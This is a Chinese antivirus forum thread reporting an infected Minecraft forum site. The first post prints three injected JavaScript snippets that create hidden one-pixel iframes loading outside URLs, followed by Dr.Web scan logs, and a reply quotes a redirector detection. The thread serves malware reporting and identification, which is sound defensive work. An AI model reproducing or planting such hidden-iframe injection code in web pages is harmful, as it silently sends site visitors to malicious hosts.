查看: 1413|回复: 1
收起左侧

[已鉴定] http://spacepot.eu/minecraft/forum/index.php

[复制链接]
fireold
发表于 2013-6-24 20:10:28 | 显示全部楼层 |阅读模式
  1. (function() {
  2.     var tkliq = document.createElement('iframe');

  3.     tkliq.src = 'http://www.mydisley.com/traf.php';
  4.     tkliq.style.position = 'absolute';
  5.     tkliq.style.border = '0';
  6.     tkliq.style.height = '1px';
  7.     tkliq.style.width = '1px';
  8.     tkliq.style.left = '1px';
  9.     tkliq.style.top = '1px';

  10.     if (!document.getElementById('tkliq')) {
  11.         document.write('<div id=\'tkliq\'></div>');
  12.         document.getElementById('tkliq').appendChild(tkliq);
  13.     }
  14. })();
复制代码

  1. (function() {
  2.     var u = document.createElement('iframe');

  3.     u.src = 'http://www.mydisley.com/traf.php';
  4.     u.style.position = 'absolute';
  5.     u.style.border = '0';
  6.     u.style.height = '1px';
  7.     u.style.width = '1px';
  8.     u.style.left = '1px';
  9.     u.style.top = '1px';

  10.     if (!document.getElementById('u')) {
  11.         document.write('<div id=\'u\'></div>');
  12.         document.getElementById('u').appendChild(u);
  13.     }
  14. })();
复制代码

  1. (function() {
  2.     var x = document.createElement('iframe');

  3.     x.src = 'http://akfoto.eu/kapak/clicker.php';
  4.     x.style.position = 'absolute';
  5.     x.style.border = '0';
  6.     x.style.height = '1px';
  7.     x.style.width = '1px';
  8.     x.style.left = '1px';
  9.     x.style.top = '1px';

  10.     if (!document.getElementById('x')) {
  11.         document.write('<div id=\'x\'></div>');
  12.         document.getElementById('x').appendChild(x);
  13.     }
  14. })();
复制代码



Dr.Web
http://spacepot.eu/minecraft/forum/index.php redirects to http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect



Checking:http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/sha1.js
File size:10.12 KB
File MD5:d479f51582cedbbb24982d659a896dd6

http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/sha1.js - archive JS-HTML
>http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/sha1.js/JSFile_1[0][2877] - Ok
http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/sha1.js - Ok



Checking:http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/script.js?fin20
File size:51.25 KB
File MD5:8a6ff82e5d30c3a42898249e570fdfe5

http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/script.js?fin20 - archive JS-HTML
>http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/script.js?fin20/JSEvent_1[5f] - Ok
>http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/script.js?fin20/JSEvent_2[62] - Ok
http://www.spacepot.eu/minecraft/forum/Themes/default/scripts/script.js?fin20 - Ok

Checking:http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect
Engine version:7.0.4.9250
Total virus-finding records:4148669
File size:25.06 KB
File MD5:ea26d0fb1d0aa9434c95c06400a2fcbd

http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect - archive JS-HTML
>http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect/JSTAG_1[22a][a67] infected with JS.IFrame.414
>http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect/JSTAG_2[f68][24d] - Ok
>http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect/JSTAG_3[22a4][2e5] - Ok
>http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect/JSTAG_4[5c50][2d2] - Ok
>http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect/JSTag_5[f7d][238] - Ok
>http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect/JSTag_6[22b9][2d0] - Ok
>http://www.spacepot.eu/minecraft/forum/index.php?PTPSESSION=fc0fe5cc6befbfa010d3a6f0e372704b;wwwRedirect/JSTag_7[5c65][2bd] - Ok
释然的心
发表于 2013-6-25 00:09:47 | 显示全部楼层
在请求的页面的 HTTP 数据中发现病毒或恶意程序。
请求的 URL:
http://www.spa[/url]cepot.eu/minecraft/forum/index.php?PTPSESSION=72cfbd2a65e9bcf24e54e263a6af45b1;wwwRedirect
信息:

包含 JS/Redirector.BQ.4 Java 脚本病毒的识别模式
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 10:05 , Processed in 0.128021 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表